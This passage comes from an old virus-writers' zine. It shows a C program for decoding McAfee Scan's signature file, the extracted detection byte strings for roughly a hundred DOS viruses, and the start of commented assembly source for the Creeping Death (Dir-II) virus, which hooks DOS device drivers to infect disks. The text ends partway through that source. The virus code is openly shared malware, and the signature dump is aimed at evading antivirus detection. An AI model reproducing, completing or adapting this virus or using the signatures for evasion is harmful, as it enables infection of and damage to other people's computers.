  1295. hex math on the codes in the allocated memory used by scan and found the
  1296. codes. Then i zapped only the codes and ran scan on the updated virus file.
  1297. It said there was no infection. I knew I now had the right codes (after a few
  1298. more checks).
  1299.  
  1300.     So I created a simple C program (see below) to convert the extract file I
  1301.  created and converted the codes to a readable form (output from program
  1302. listed at end of ARTICLE). Then tested other viruses against the list. An
  1303. found the same results.
  1304.  
  1305. Binary to hex program:
  1306. ----------------------
  1307. /*
  1308.     fp2txt.c
  1309.         Convert footprint binary information to text.
  1310.             by GodNet Raider
  1311.  
  1312.     Notes:
  1313.         Please forgive the unrefined/unannotated nature of this code it was
  1314.         designed as a one shot.
  1315. */
  1316.  
  1317. #include <stdlib.h>
  1318. #include <stdio.h>
  1319.  
  1320. #define TRUE 1
  1321. #define MAGICNUM 0x93
  1322.  
  1323. void
  1324.     main (void);
  1325.  
  1326. void main (void)
  1327. {
  1328.     unsigned char
  1329.         sVirusFP [128],
  1330.         *ptVirusInfo,
  1331.         szVirusName [128];
  1332.     register unsigned int
  1333.         nTmpCnt;
  1334.     FILE
  1335.         *Stream;
  1336.  
  1337.     Stream = fopen ("fp2.img", "rb");
  1338.     while (!feof (Stream))
  1339.         {
  1340.          ptVirusInfo = sVirusFP;
  1341.          if (!(*sVirusFP = getc (Stream)))
  1342.              exit (0);
  1343.          nTmpCnt = (unsigned int) *sVirusFP;
  1344.          while (nTmpCnt--)
  1345.              *(++ptVirusInfo) = ((unsigned char) getc (Stream)) - MAGICNUM;
  1346.          ptVirusInfo = szVirusName;
  1347.          while ((*(ptVirusInfo++) = getc (Stream)));
  1348.          printf ("\n%s:\n    ", szVirusName);
  1349.          ptVirusInfo = sVirusFP;
  1350.          nTmpCnt = (unsigned int) *sVirusFP;
  1351.          while (nTmpCnt--)
  1352.              {
  1353.              printf ("0x%02x ", (unsigned int) *(++ptVirusInfo));
  1354.              if (nTmpCnt && !((*sVirusFP - nTmpCnt) % 8))
  1355.                 printf ("\n    ");
  1356.             }
  1357.          printf ("\n");
  1358.          getc (Stream);
  1359.         }
  1360.     exit (0);
  1361. }
  1362.  
  1363.  
  1364. Footprints discovered:
  1365. ----------------------
  1366.  
  1367.     The following is a list of the footprint codes found in McAfee asso.
  1368. Scan3.7v64.
  1369.  
  1370.     1008 Virus [1008]:
  1371.         0x81 0xed 0x38 0x00 0xe8 0xc3
  1372.  
  1373.     Stoned-II Virus [S-2]:
  1374.         0x9c 0x2e 0xff 0x1e 0x09 0x00
  1375.  
  1376.     VHP-2 Virus [VHP2]:
  1377.         0x1c 0x8c 0x44 0x02 0xb8 0x24 0x35 0xcd
  1378.         0x21 0x89
  1379.  
  1380.     VHP Virus [VHP]:
  1381.         0x07 0x89 0x7e 0x8a 0x8d 0x7e 0x90 0x89
  1382.         0x7e 0x88
  1383.  
  1384.     Taiwan3 Virus [T3]:
  1385.         0x17 0x0f 0x32 0x0a 0x32 0x0a 0x90 0x0b
  1386.         0xfb 0x08
  1387.  
  1388.     Armagedon Virus [Arma]:
  1389.         0xb8 0x00 0x43 0xcd 0x21 0x2e 0x89 0x0e
  1390.         0x48 0x01
  1391.  
  1392.     1381 Virus [1381]:
  1393.         0x1e 0x06 0x8c 0xc8 0x8e 0xd8 0xb8 0x40
  1394.         0x00 0x8e
  1395.  
  1396.     Tiny Virus [Tiny]:
  1397.         0xb4 0x40 0x8d 0x94 0xab 0x01 0xb9 0x02
  1398.         0x00 0xcd
  1399.  
  1400.     Subliminal Virus [Sub]:
  1401.         0x8b 0x3e 0x25 0x01 0x8b 0xd7 0x2e 0x8e
  1402.         0x06 0x27
  1403.  
  1404.     Sorry Virus [Sorry]:
  1405.         0xeb 0x96 0x83 0x2e 0x12 0x00 0x40 0x83
  1406.         0x2e 0x03
  1407.  
  1408.     1024 Virus [1024]:
  1409.         0xc8 0x75 0xed 0x8b 0xd1 0xb8 0x00 0x42
  1410.         0xcd 0x21 0x72
  1411.  
  1412.     RedX Virus [RedX]:
  1413.         0x52 0x8b 0x9c 0x17 0x04 0xb9 0x19 0x03
  1414.         0x8d 0x94
  1415.  
  1416.     VP Virus [VP]:
  1417.         0x21 0x89 0x1e 0x22 0x03 0x8c 0x06 0x24
  1418.         0x03 0xb4
  1419.  
  1420.     Print Screen-2 [P-2]:
  1421.         0x74 0x01 0xbf 0x03 0x00 0xb9 0x20 0x00
  1422.         0xf3 0xa4
  1423.  
  1424.     Joshi Virus [Joshi]:
  1425.         0xf3 0xa4 0x8c 0xc0 0x05 0x20 0x00 0x8e
  1426.         0xc0 0xbb
  1427.  
  1428.     Microbes Virus [Micro]:
  1429.         0x8e 0xd0 0xbc 0x00 0xf0 0xfb 0xa1 0x13
  1430.         0x04 0x2d 0x04
  1431.  
  1432.     Print Screen Virus [Prtscr]:
  1433.         0xcd 0x05 0xfe 0xc8 0xa2 0x60 0x01 0xc3
  1434.         0x6f 0x6e 0x2d
  1435.  
  1436.     Form Virus [Form]:
  1437.         0xe8 0xb2 0x00 0x5a 0x5e 0x1f 0x33 0xc0
  1438.         0x50 0xb8 0x00 0x7c
  1439.  
  1440.     June 13th Virus [J13]:
  1441.         0x12 0x00 0xb9 0xb1 0x04 0x2e 0x30 0x04
  1442.         0x46 0xe2
  1443.  
  1444.     JoJo Virus [JoJo]:
  1445.         0x4d 0x2b 0xd0 0x4a 0x45 0x03 0xe8 0x45
  1446.         0x8e 0xc5
  1447.  
  1448.     Victor Virus [Victor]:
  1449.         0x74 0x26 0x80 0xfc 0x5b 0x74 0x21 0x80
  1450.         0xfc 0x39
  1451.  
  1452.     5120 Virus [5120]:
  1453.         0x10 0xa2 0xf6 0x0f 0xe8 0xd0 0xfe 0x80
  1454.         0x3e 0x4a 0x10 0x02 0x7d 0x22 0xc6 0x46
  1455.  
  1456.     W-13 Virus [W13]:
  1457.         0xf3 0xa4 0x8b 0xfa 0xb4 0x30 0xcd 0x21
  1458.         0x3c 0x00
  1459.  
  1460.     Slow Virus [Slow]:
  1461.         0x81 0xc6 0x1b 0x00 0xb9 0x90 0x06 0x2e
  1462.         0x80 0x34
  1463.  
  1464.     Liberty Virus [Liberty]:
  1465.         0xe8 0xfd 0xfe 0x72 0x2a 0x3b 0xc1 0x7c
  1466.         0x27 0xe8
  1467.  
  1468.     Fish Virus [Fish]:
  1469.         0x0e 0x01 0xcf 0xe8 0x00 0x00 0x5b 0x81
  1470.         0xeb 0xa9
  1471.  
  1472.     Shake Virus [Shake]:
  1473.         0x31 0xd2 0x8b 0xca 0xcd 0x21 0x3d 0x00
  1474.         0xf0 0x73
  1475.  
  1476.     Murphy Virus [Murphy]:
  1477.         0x81 0x7c 0xfe 0x2e 0x43 0x75 0xed 0xb8
  1478.         0x02 0x3d
  1479.  
  1480.     V800 Virus [V800]:
  1481.         0x51 0xad 0x33 0xd0 0xe2 0xfb 0x59 0x31
  1482.         0x15 0x47
  1483.  
  1484.     Kennedy Virus [Kennedy]:
  1485.         0x8c 0x55 0x02 0xb8 0x01 0x43 0x33 0xc9
  1486.         0xcd 0x21
  1487.  
  1488.     Yankee Two Virus [Doodle2]:
  1489.         0x73 0x03 0x5a 0x5e 0xc3 0x8b 0xf2 0xf6
  1490.         0x44 0x15
  1491.  
  1492.     1971 Virus [1971]:
  1493.         0x33 0xd2 0xb8 0x00 0x42 0xcd 0x21 0x72
  1494.         0x26 0x81 0x7c
  1495.  
  1496.     June 16th Virus [June16]:
  1497.         0x4d 0xa9 0xa5 0x2e 0x70 0x66 0x2e 0x57
  1498.         0x09 0x0f
  1499.  
  1500.     AIDS II Virus [A2]:
  1501.         0xa4 0x00 0x55 0x89 0xe5 0x81 0xec 0x02
  1502.         0x02 0xbf 0xca 0x05 0x0e 0x57 0xbf 0x3e
  1503.         0x01
  1504.  
  1505.     1210 Virus [1210]:
  1506.         0xc4 0x74 0xf0 0x2e 0x80 0x3e 0x2f 0x04
  1507.         0x01 0x75
  1508.  
  1509.     1720 Virus [1720]:
  1510.         0xd8 0x2e 0xa1 0x2c 0x00 0xa3 0xfc 0x03
  1511.         0x2e 0xa0
  1512.  
  1513.     Saturday 14th Virus [Sat14]:
  1514.         0x0e 0x1f 0xb8 0x24 0x35 0xcd 0x21 0x8c
  1515.         0x06 0x6f
  1516.  
  1517.     XA1 (1539) Christmas Virus [XA1]:
  1518.         0xfa 0x8b 0xec 0x58 0x32 0xc0 0x89 0x46
  1519.         0x02 0x81
  1520.  
  1521.     1392 (Amoeba) Virus [1392]:
  1522.         0x16 0xa3 0x21 0x01 0x8b 0x44 0x14 0xa3
  1523.         0x23 0x01
  1524.  
  1525.     Vcomm Virus [Vcomm]:
  1526.         0x77 0x02 0xb9 0x20 0x00 0xb4 0x4e 0xcd
  1527.         0x21
  1528.  
  1529.     ItaVir Virus [Ita]:
  1530.         0xb8 0x58 0x45 0x89 0x40 0x02 0xb0 0x00
  1531.         0x88 0x40 0x04
  1532.  
  1533.     Korea Virus [Korea]:
  1534.         0x8e 0xd0 0xbc 0xf0 0xff 0xfb 0xbb 0x13
  1535.         0x04
  1536.  
  1537.     Solano Virus [Solano]:
  1538.         0x12 0x75 0x0e 0x2e 0x8b 0x0e 0x03 0x01
  1539.  
  1540.     V2000 Virus [2000]:
  1541.         0x51 0xe8 0x39 0xfd 0x8e 0xc3 0x26 0x8b
  1542.  
  1543.     12 Tricks Trojan [Tricks]:
  1544.         0x64 0x02 0x31 0x94 0x42 0x01 0xd1 0xc2
  1545.         0x4e 0x79 0xf7
  1546.  
  1547.     12 Tricks Trojan [Tricks-B]:
  1548.         0xe4 0x61 0x8a 0xe0 0x0c 0x80 0xe6 0x61
  1549.  
  1550.     1559 Virus [1559]:
  1551.         0x03 0x26 0x89 0x1e 0x92 0x00 0xfb 0xc3
  1552.         0x50 0x53 0x51 0x52 0x06
  1553.  
  1554.     512 Virus [512]:
  1555.         0x01 0x8c 0x45 0x70 0x1f 0x89 0x57 0x14
  1556.         0x8c 0xca 0x8e 0xda
  1557.  
  1558.     EDV Virus [EDV]:
  1559.         0x75 0x1c 0x80 0xfe 0x01 0x75 0x17 0x5b
  1560.         0x07 0x1f 0x58 0x83
  1561.  
  1562.     Icelandic-3 Virus [Ice-3]:
  1563.         0x24 0x2e 0x8f 0x06 0x3b 0x03 0x90 0x2e
  1564.         0x8f 0x06
  1565.  
  1566.     Perfume Virus [Fume]:
  1567.         0x04 0x06 0xbf 0xba 0x00 0x57 0xcb 0x0e
  1568.         0x1f 0x8e 0x06
  1569.  
  1570.     Joker Virus [Joke]:
  1571.         0x56 0x07 0x45 0x07 0x21 0x07 0x1d 0x49
  1572.         0x27 0x6d 0x20 0x73 0x6f 0x20 0x6d 0x75
  1573.         0x63
  1574.  
  1575.     Virus-101 [101]:
  1576.         0xb3 0x01 0xb4 0x36 0x70 0xb7 0x01 0xb4
  1577.         0x36 0x70 0x8b 0x37 0xb4 0x36 0x70 0xb3
  1578.         0x03 0xb4 0x36 0x70 0x03 0xf3 0xb4
  1579.  
  1580.     Halloechen Virus [Hal]:
  1581.         0x8c 0xd0 0x8b 0xd4 0xbc 0x02 0x00 0x36
  1582.         0x8b 0x0e
  1583.  
  1584.     Taiwan Virus [Taiwan]:
  1585.         0x8a 0x0e 0x95 0x00 0x81 0xe1 0xfe 0x00
  1586.         0xba 0x9e
  1587.  
  1588.     Oropax Virus [Oro]:
  1589.         0x3e 0x01 0x1d 0xf2 0x77 0xd1 0xba 0x00
  1590.  
  1591.     Chaos Virus [Chaos]:
  1592.         0xa1 0x49 0x43 0x68 0x41 0x4f 0x53 0x50
  1593.         0x52 0x51 0xe8
  1594.  
  1595.     4096 Virus [4096]:
  1596.         0xf6 0x2e 0x8f 0x06 0x41 0x12 0x2e 0x8f
  1597.         0x06 0x43
  1598.  
  1599.     Virus-90 [90]:
  1600.         0x81 0xb8 0xfe 0xff 0x8e 0xd8 0x2d 0xcc
  1601.  
  1602.     AIDS Information Trojan [Aids]:
  1603.         0x31 0x30 0x30 0x2c 0x36 0x32 0x2c 0x33
  1604.         0x32 0x00
  1605.  
  1606.     Devil's Dance Virus [Dance]:
  1607.         0x5e 0x1e 0x06 0x8c 0xc0 0x48 0x8e 0xc0
  1608.         0x26
  1609.  
  1610.     Amstrad Virus [Amst]:
  1611.         0x72 0x02 0xeb 0x36 0x76 0xba 0x80 0x00
  1612.         0xb4 0x1a 0xcd 0x21 0x80 0x3e
  1613.  
  1614.     Datacrime II-b Virus [Crime-2B]:
  1615.         0x2e 0x8a 0x07 0x32 0xc2 0xd0 0xca 0x2e
  1616.  
  1617.     Holland Girl Virus [Holland]:
  1618.         0x36 0x03 0x01 0x33 0xc9 0x33 0xc0 0xac
  1619.  
  1620.     Do Nothing Virus [Nothing]:
  1621.         0x72 0x04 0x50 0xeb 0x07 0x90 0xb4 0x4c
  1622.  
  1623.     Lisbon Virus [Lisb]:
  1624.         0x8b 0x44 0x79 0x3d 0x0a 0x00 0x72 0xde
  1625.  
  1626.     Sunday Virus [Sunday]:
  1627.         0x75 0x10 0x07 0x2e 0x8e 0x16 0x45 0x00
  1628.         0x2e 0x8b
  1629.  
  1630.     Typo COM virus [Typo]:
  1631.         0x99 0xfe 0x26 0xa1 0x5a 0x00 0x2e 0x89
  1632.  
  1633.     DBASE Virus [Dbase]:
  1634.         0x80 0xfc 0x6c 0x74 0xea 0x80 0xfc 0x5b
  1635.         0x74 0xe5
  1636.  
  1637.     Ghost Virus :
  1638.         0x90 0xea 0x59 0xec 0x00 0xf0 0x90 0x90
  1639.  
  1640.     Jerusalem Virus Strain B [Jeru]:
  1641.         0x47 0x00 0x33 0xc0 0x8e 0xc0 0x26 0xa1
  1642.         0xfc 0x03
  1643.  
  1644.     Alabama Virus [Alabama]:
  1645.         0x8f 0x06 0x18 0x05 0x26 0x8f 0x06 0x1a
  1646.  
  1647.     1701/1704 Virus - Version B [170X]:
  1648.         0x31 0x34 0x31 0x24 0x46 0x4c
  1649.  
  1650.     Datacrime Virus [Crime]:
  1651.         0x36 0x01 0x01 0x83 0xee 0x03 0x8b 0xc6
  1652.         0x3d 0x00
  1653.  
  1654.     Stoned Virus [Stoned]:
  1655.         0x00 0x53 0x51 0x52 0x06 0x56 0x57 0xbe
  1656.  
  1657.     Vacsina virus [Vacs]:
  1658.         0xb8 0x01 0x43 0x8e 0x5e 0x0e 0x8b 0x56
  1659.         0x06 0x2e
  1660.  
  1661.     Den Zuk Virus :
  1662.         0x8e 0xc0 0xbe 0xc6 0x7c 0xbf 0x00 0x7e
  1663.  
  1664.     Ping Pong Virus (old string):
  1665.         0x59 0x5b 0x58 0x07 0x1f 0xea
  1666.  
  1667.     Pakistani Brain Virus [Brain]:
  1668.         0x8e 0xd8 0x8e 0xd0 0xbc 0x00 0xf0 0xfb
  1669.         0xa0 0x06
  1670.  
  1671.     Yale/Alameda Virus [Alameda]:
  1672.         0xb4 0x00 0xcd 0x13 0x72 0x0d 0xb8 0x01
  1673.  
  1674.     Lehigh Virus [Lehigh]:
  1675.         0x5e 0x83 0xee 0x03 0x8b 0xde 0x81 0xeb
  1676.         0x91 0x01
  1677.  
  1678.     Pakistani Brain/Ashar Virus [Brain]:
  1679.         0x20 0x8c 0xc8 0x8e 0xd8 0x8e 0xd0
  1680.  
  1681.     Fu Manchu Virus - Version A [Fu]:
  1682.         0x26 0xc7 0x06 0xfc 0x03 0xf3 0xa4 0x26
  1683.         0xc6 0x06
  1684.  
  1685.     Ping Pong Virus - Version B [Ping]:
  1686.         0xa1 0xf5 0x81 0xa3 0xf5 0x7d 0x8b 0x36
  1687.         0xf9 0x81
  1688.  
  1689.     1536 (Zero Bug) Virus [Zero]:
  1690.         0xeb 0x2b 0x90 0x5a 0x45 0xcd 0x60 0x2e
  1691.  
  1692.     Vienna (DOS 62) Virus - Version B [Vienna]:
  1693.         0x8b 0xfe 0x36 0x6f 0xc7 0x1f 0x36 0x6f
  1694.         0x8b 0xde 0x36 0x6f 0xc6 0x1f
  1695.  
  1696.     Ghost Version of DOS-62 [Ghost-C]:
  1697.         0x8e 0xd8 0xa1 0x13 0x04 0x2d 0x02 0x00
  1698.         0x90 0xa3 0x13
  1699.  
  1700.     Friday 13th Virus [Fri13]:
  1701.         0xb4 0x4f 0xcd 0x21 0x73 0xf7 0x58
  1702.  
  1703.     405 virus [405]:
  1704.         0x19 0xcd 0x21 0x26 0xa2 0x49 0x02 0xb4
  1705.         0x47 0x04 0x01 0x50
  1706.  
  1707.     3066/2930 Traceback Virus [3066]:
  1708.         0x14 0x8b 0x4d 0x16 0x8b 0xc1 0x8a 0xcd
  1709.  
  1710.     Pentagon Virus :
  1711.         0xeb 0x34 0x90 0x48 0x41 0x4c 0x20 0x20
  1712.  
  1713.     Israeli Boot Virus:
  1714.         0xcd 0x13 0xb8 0x02 0x02 0xb9 0x06 0x27
  1715.         0xba 0x00 0x01
  1716.  
  1717.     Typo Boot Virus:
  1718.         0x24 0x13 0x55 0xaa
  1719.  
  1720.     Datacrime-2 Virus [Crime-2]:
  1721.         0x8a 0x94 0x03 0x01 0x8d 0xbc 0x29 0x01
  1722.         0x8d 0x8c 0xea 0x06
  1723.  
  1724.     Ohio Virus:
  1725.         0xeb 0x29 0x90 0x49 0x34 0x12 0x00 0x01
  1726.         0x00 0x00 0x00 0x00
  1727.  
  1728.     3551 (Syslock) Virus [Syslock]:
  1729.         0x33 0x06 0x14 0x00 0x31 0x04 0x46 0x46
  1730.         0xe2 0xf2
  1731.  
  1732.     Dark Avenger virus [Dav]:
  1733.         0xa1 0x4f 0x07 0x89 0x07 0x2e 0xa1 0x51
  1734.  
  1735.     MIX1/Icelandic Virus [Ice]:
  1736.         0x43 0x81 0x3f 0x45 0x58 0x75 0xf1 0xb8
  1737.         0x00 0x43
  1738.  
  1739.     Disk Killer Virus [Killer]:
  1740.         0xc3 0x10 0xe2 0xf2 0xc6 0x06 0xf3 0x01
  1741.         0xff 0x90 0xeb 0x55
  1742.  
  1743.     AIDS Virus [Taunt]:
  1744.         0x42 0xe8 0xef 0xe3 0xbf 0xca 0x03 0x1e
  1745.  
  1746.     Yankee Doodle Virus [Doodle]:
  1747.         0x35 0xcd 0x21 0x8b 0xf3 0x8c 0xc7
  1748.  
  1749.     Suriv A Virus [SurivA]:
  1750.         0x90 0x73 0x55 0x52 0x49 0x56 0x00
  1751.  
  1752.     Suriv B Virus [SurivB]:
  1753.         0x00 0x73 0x55 0x52 0x49 0x56 0x00
  1754.  
  1755. ]============================================================================[
  1756.  
  1757. 40Hex Number 6 Volume 2 Issue 2                                      File 00A
  1758.  
  1759.      Welcome to this issue's VIRUS SPOTLITE, the infamous Creeping Death(dir2).
  1760. This is one of the most impressive viruses out there, and VirusSoft looks to be
  1761. a promising group in the future.  Unfortunately, the source code we obtained
  1762. had almost no comments.  Dark Angel commented it as best as he possibly could,
  1763. but I think it is safe to say that there may be a few discrepancies.
  1764. Nonetheless, it was an excellent job, kudos to DA.  Although I am writing this
  1765. header, I had nothing to do with the commenting, so Dark Angel gets all the
  1766. credit.
  1767.  
  1768.                                                 -)GHeap
  1769.  
  1770. -------------------------------------------------------------------------------
  1771. ; Dark Angel's comments: I spent my entire waking hours looking at this virus.
  1772. ;                        I love it.  It is my life.  I worship the drive it
  1773. ;                        infects.  Take a look at it.  Let not my troubles be
  1774. ;                        in vain.  Why did I do this?  I sacrifice my life for
  1775. ;                        the benefit of 40Hex.  If you don't read this, I'm
  1776. ;                        gonna go join [NuKE].
  1777.  
  1778. ;        Creeping Death  V 1.0
  1779. ;
  1780. ;        (C) Copyright 1991 by VirusSoft Corp.
  1781.  
  1782. i13org    =    5f8h
  1783. i21org    =    5fch
  1784.  
  1785. dir_2   segment byte public
  1786.         assume  cs:dir_2, ds:dir_2
  1787.  
  1788.         org   100h
  1789.  
  1790. start:
  1791.          mov   sp,600h                          ; Set up the stack pointer
  1792.          inc   word ptr counter                 ; Generation counter
  1793.          xor   cx,cx
  1794.          mov   ds,cx                            ; DS points to interrupt table
  1795.          lds   ax, ds:[0c1h]                    ; Find interrupt 30h
  1796.          add   ax,21h                           ; Change it to Int 21h
  1797.          push  ds                               ; Save it on stack for use by
  1798.          push  ax                               ; subroutine "jump"
  1799.          mov   ah,30h                           ; Get DOS version
  1800.          call  jump
  1801.          cmp   al,4                             ; DOS 4.X+ : SI = 0
  1802.          sbb   si,si                            ; DOS 2/3  : SI = -1
  1803.          mov   byte ptr [drive+2],byte ptr -1   ; Initialise last drive to
  1804.                                                 ; "never accessed"
  1805.          mov   bx,60h                           ; Adjust memory in ES to
  1806.          mov   ah,4ah                           ; BX paragraphs.
  1807.          call  jump
  1808.  
  1809.          mov   ah,52h                           ; Get DOS List of Lists
  1810.          call  jump                             ; to ES:BX
  1811.          push  es:[bx-2]                        ; Save Segment of first MCB
  1812.          lds   bx,es:[bx]                       ; DS:BX -> 1st DPB
  1813.                                                 ;  (Drive parameter block)
  1814. search:  mov   ax,[bx+si+15h]                   ; Get segment of device driver
  1815.          cmp   ax,70h                           ; Is it CONFIG? (I think)
  1816.          jne   next                             ; If not, try again
  1817.          xchg  ax,cx                            ; Move driver segment to CX
  1818.          mov   [bx+si+18h],byte ptr -1          ; Flag block must be rebuilt
  1819.          mov   di,[bx+si+13h]                   ; Save offset of device driver
  1820.                                                 ; Original device driver
  1821.                                                 ; address in CX:DI
  1822.          mov   [bx+si+13h],offset header        ; Replace with our own
  1823.          mov   [bx+si+15h],cs                   ;  (header)
  1824. next:    lds   bx,[bx+si+19h]                   ; Get next device block
  1825.          cmp   bx,-1                            ; Is it the last one?
  1826.          jne   search                           ; If not, search it
  1827.          jcxz  install
  1828.  
  1829.          pop   ds                               ; Restore segment of first
  1830.          mov   ax,ds                            ; MCB
  1831.          add   ax,ds:[3]                        ; Go to next MCB
  1832.          inc   ax                               ; AX = segment next MCB
  1833.          mov   dx,cs                            ; DX = MCB owning current
  1834.          dec   dx                               ;      program
  1835.          cmp   ax,dx                            ; Are these the same?
  1836.          jne   no_boot                          ; If not, we are not currently
  1837.                                                 ; in the middle of a reboot
  1838.          add   word ptr ds:[3],61h              ; Increase length owned by
  1839.                                                 ; MCB by 1552 bytes
  1840. no_boot: mov   ds,dx                            ; DS = MCB owning current
  1841.                                                 ; program
  1842.          mov   word ptr ds:[1],8                ; Set owner = DOS
  1843.  
  1844.          mov   ds,cx                            ; DS = segment of original
  1845.                                                 ;      device driver
  1846.          les   ax,[di+6]                        ; ES = offset int handler
  1847.                                                 ; AX = offset strategy entry
  1848.          mov   word ptr cs:str_block,ax         ; Save entry point
  1849.          mov   word ptr cs:int_block,es         ; And int block for use in
  1850.                                                 ; function _in
  1851.          cld                                    ; Scan for the write
  1852.          mov   si,1                             ; function in the
  1853. scan:    dec   si                               ; original device driver
  1854.          lodsw
  1855.          cmp   ax,1effh
  1856.          jne   scan
  1857.          mov   ax,2cah                          ; Wicked un-yar place o'
  1858.          cmp   [si+4],ax                        ; doom.
  1859.          je    right
  1860.          cmp   [si+5],ax
  1861.          jne   scan
  1862. right:   lodsw
  1863.          push  cs
  1864.          pop   es
  1865.          mov   di,offset modify+1               ; Save address of patch
  1866.          stosw                                  ; area so it can be changed
  1867.          xchg  ax,si                            ; later.
  1868.          mov   di,offset i13org                 ; This is in the stack, but
  1869.          cli                                    ; it is used by "i13pr"
  1870.          movsw
  1871.          movsw
  1872.  
  1873.          mov   dx,0c000h                        ; Scan for hard disk ROM
  1874.                                                 ; Start search @ segment C000h
  1875. fdsk1:   mov   ds,dx                            ; Load up the segment
  1876.          xor   si,si                            ; atart at offset 0000h
  1877.          lodsw                                  ; Scan for the signature
  1878.          cmp   ax,0aa55h                        ; Is it the signature?
  1879.          jne   fdsk4                            ; If not, change segment
  1880.          cbw                                    ; clear AH
  1881.          lodsb                                  ; load a byte to AL
  1882.          mov   cl,9
  1883.          sal   ax,cl                            ; Shift left, 0 filled
  1884. fdsk2:   cmp   [si],6c7h
  1885.          jne   fdsk3
  1886.          cmp   word ptr [si+2],4ch
  1887.          jne   fdsk3
  1888.          push  dx                               ; Save the segment
  1889.          push  [si+4]                           ; and offset on stack
  1890.          jmp   short death                      ; for use by i13pr
  1891.  
  1892. install: int   20h
  1893. file:    db    "c:",255,0
  1894. fdsk3:   inc   si                               ; Increment search offset
  1895.          cmp   si,ax                            ; If we are not too high,
  1896.          jb    fdsk2                            ; try again
  1897. fdsk4:   inc   dx                               ; Increment search segment
  1898.          cmp   dh,0f0h                          ; If we are not in high
  1899.          jb    fdsk1                            ; memory, try again
  1900.  
  1901.          sub   sp,4                             ; effectively push dummy vars.
  1902. death:   push  cs                               ; on stack for use by i13pr
  1903.          pop   ds
  1904.          mov   bx,ds:[2ch]                      ; Get environment from PSP
  1905.          mov   es,bx
  1906.          mov   ah,49h                           ; Release it (to save memory)
  1907.          call  jump
  1908.          xor   ax,ax
  1909.          test  bx,bx                            ; Is BX = 0?
  1910.          jz    boot                             ; If so, we are booting now
  1911.          mov   di,1                             ; and not running a file
  1912. seek:    dec   di                               ; Search for end of
  1913.          scasw                                  ; the environment block
  1914.          jne   seek
  1915.          lea   si,[di+2]                        ; SI points to filename
  1916.          jmp   short exec                       ; (in DOS 3.X+)
  1917.                                                 ; Execute that file
  1918. boot:    mov   es,ds:[16h]                      ; get PSP of parent
  1919.          mov   bx,es:[16h]                      ; get PSP of parent
  1920.          dec   bx                               ; go to its MCB
  1921.          xor   si,si
  1922. exec:    push  bx
  1923.          mov   bx,offset param                  ; Set up parameter block
  1924.                                                 ; for EXEC function
  1925.          mov   [bx+4],cs                        ; segment to command line
  1926.          mov   [bx+8],cs                        ; segment to 1st FCB
  1927.          mov   [bx+12],cs                       ; segment to 2nd FCB
  1928.          pop   ds
  1929.          push  cs
  1930.          pop   es
  1931.  
  1932.          mov   di,offset f_name
  1933.          push  di                               ; Save filename offset
  1934.          mov   cx,40                            ; Copy the filename to
  1935.          rep   movsw                            ; the buffer
  1936.          push  cs
  1937.          pop   ds
  1938.  
  1939.          mov   ah,3dh                           ; Handle open file
  1940.          mov   dx,offset file                   ; "c:É",0
  1941.          call  jump
  1942.          pop   dx                               ; DS:DX -> filename
  1943.  
  1944.          mov   ax,4b00h                         ; Load and Execute
  1945.          call  jump                             ; ES:BX = param block
  1946.          mov   ah,4dh                           ; Get errorlevel
  1947.          call  jump
  1948.          mov   ah,4ch                           ; Terminate
  1949.  
  1950. jump:    pushf                                  ; Simulate an interrupt 21h
  1951.          call  dword ptr cs:[i21org]
  1952.          ret
  1953.  
  1954.  
  1955. ;--------Installation complete
  1956.  
  1957. i13pr:   mov   ah,3                             ; Write AL sectors from ES:BX
  1958.          jmp   dword ptr cs:[i13org]            ; to track CH, sector CL,
  1959.                                                 ; head DH, drive DL
  1960.  
  1961.  
  1962. main:    push  ax            ; driver
  1963.          push  cx            ; strategy block
  1964.          push  dx
  1965.          push  ds
  1966.          push  si
  1967.          push  di
  1968.  
  1969.          push  es                               ; Move segment of parameter
  1970.          pop   ds                               ; block to DS
  1971.          mov   al,[bx+2]                        ; [bx+2] holds command code
  1972.  
  1973.          cmp   al,4                             ; Input (read)
  1974.          je    input
  1975.          cmp   al,8                             ; Output (write)
  1976.          je    output
  1977.          cmp   al,9                             ; Output (write) with verify
  1978.          je    output
  1979.  
  1980.          call  in_                              ; Call original device
  1981.          cmp   al,2                             ; Request build BPB
  1982.          jne   ppp                              ; If none of the above, exit
  1983.          lds   si,[bx+12h]                      ; DS:SI point to BPB table
  1984.          mov   di,offset bpb_buf                ; Replace old pointer with
  1985.          mov   es:[bx+12h],di                   ; a pointer to our own
  1986.          mov   es:[bx+14h],cs                   ; BPB table
  1987.          push  es                               ; Save segment of parameters
  1988.          push  cs
  1989.          pop   es
  1990.          mov   cx,16                            ; Copy the old BPB table to
  1991.          rep   movsw                            ; our own
  1992.          pop   es                               ; Restore parameter segment
  1993.          push  cs
  1994.          pop   ds
  1995.          mov   al,[di+2-32]                     ; AL = sectors per allocation
  1996.          cmp   al,2                             ;      unit.  If less than
  1997.          adc   al,0                             ;      2, increment
  1998.          cbw                                    ; Extend sign to AH (clear AH)
  1999.          cmp   word ptr [di+8-32],0             ; Is total number sectors = 0?
  2000.          je    m32                              ; If so, big partition (>32MB)
  2001.          sub   [di+8-32],ax                     ; Decrease space of disk by
  2002.                                                 ; one allocation unit(cluster)
  2003.          jmp   short ppp                        ; Exit
  2004. m32:     sub   [di+15h-32],ax                   ; Handle large partitions
  2005.          sbb   word ptr [di+17h-32],0
  2006.  
  2007. ppp:     pop   di
  2008.          pop   si
  2009.          pop   ds
  2010.          pop   dx
  2011.          pop   cx
  2012.          pop   ax
  2013. rts:     retf                                   ; We are outta here!
  2014.  
  2015. output:  mov   cx,0ff09h
  2016.          call  check                            ; is it a new disk?
  2017.          jz    inf_sec                          ; If not, go away
  2018.          call  in_                              ; Call original device handler
  2019.          jmp   short inf_dsk
  2020.  
  2021. inf_sec: jmp   _inf_sec
  2022. read:    jmp   _read
  2023. read_:   add   sp,16                            ; Restore the stack
  2024.          jmp   short ppp                        ; Leave device driver
  2025.  
  2026. input:   call  check                            ; Is it a new disk?
  2027.          jz    read                             ; If not, leave
  2028. inf_dsk: mov   byte ptr [bx+2],4                ; Set command code to READ
  2029.          cld
  2030.          lea   si,[bx+0eh]                      ; Load from buffer address
  2031.          mov   cx,8                             ; Save device driver request
  2032. save:    lodsw                                  ; on the stack
  2033.          push  ax
  2034.          loop  save
  2035.          mov   word ptr [bx+14h],1              ; Starting sector number = 1
  2036.                                                 ; (Read 1st FAT)
  2037.          call  driver                           ; Read one sector
  2038.          jnz   read_                            ; If error, exit
  2039.          mov   byte ptr [bx+2],2                ; Otherwise build BPB
  2040.          call  in_                              ; Have original driver do the
  2041.                                                 ; work
